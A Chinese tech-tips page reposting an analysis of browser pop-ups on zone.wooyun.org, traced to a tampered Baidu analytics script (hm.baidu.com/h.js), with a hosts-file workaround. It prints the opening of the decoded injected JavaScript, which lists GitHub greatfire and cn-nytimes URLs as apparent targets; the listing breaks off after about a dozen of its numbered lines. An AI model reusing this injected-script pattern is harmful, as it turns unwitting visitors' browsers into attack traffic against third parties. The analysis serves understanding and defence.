萬盛學電腦網

 萬盛學電腦網 >> 電腦基本常識 >> 一招解決WARNING: malicious javascript detected on this domain

一招解決WARNING: malicious javascript detected on this domain

 一招解決WARNING: malicious javascript detected on this domain 三聯

  臨時解決方法:

  修改hosts,添加""127.0.0.1 hm.baidu.com" 。

  詳細原因分析:今天中午刷著全國最大的信息安全從業人員同性交友社區zone.wooyun.org的時候,忽然浏覽器每隔2秒就不斷的彈窗:

  malicious javascript detected on this domain

enter image description here

  我第一反應就是不知道哪個調皮的基友又把zone給XSS了,馬上打開開發者工具分析。

  0x01 細節

  之後立刻發現彈窗的js居然是從github加載的:

enter image description here

  可是為什麼烏雲會從github加載js呢,並且還是從greatfire和紐約時報鏡像加載。

  第一反應是頁面有xss或者js被劫持了,找了半天終於找到了,居然是

  hm.baidu.com/h.js

  這個js的確被烏雲加載了沒錯,這是百度統計的js代碼,打開後裡面是一個簡單加密後的js,eval了一串編碼後的內容,隨便找了個在線解密看了下,發現如下內容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() {

var a = new Date;

return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3

}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

copyright © 萬盛學電腦網 all rights reserved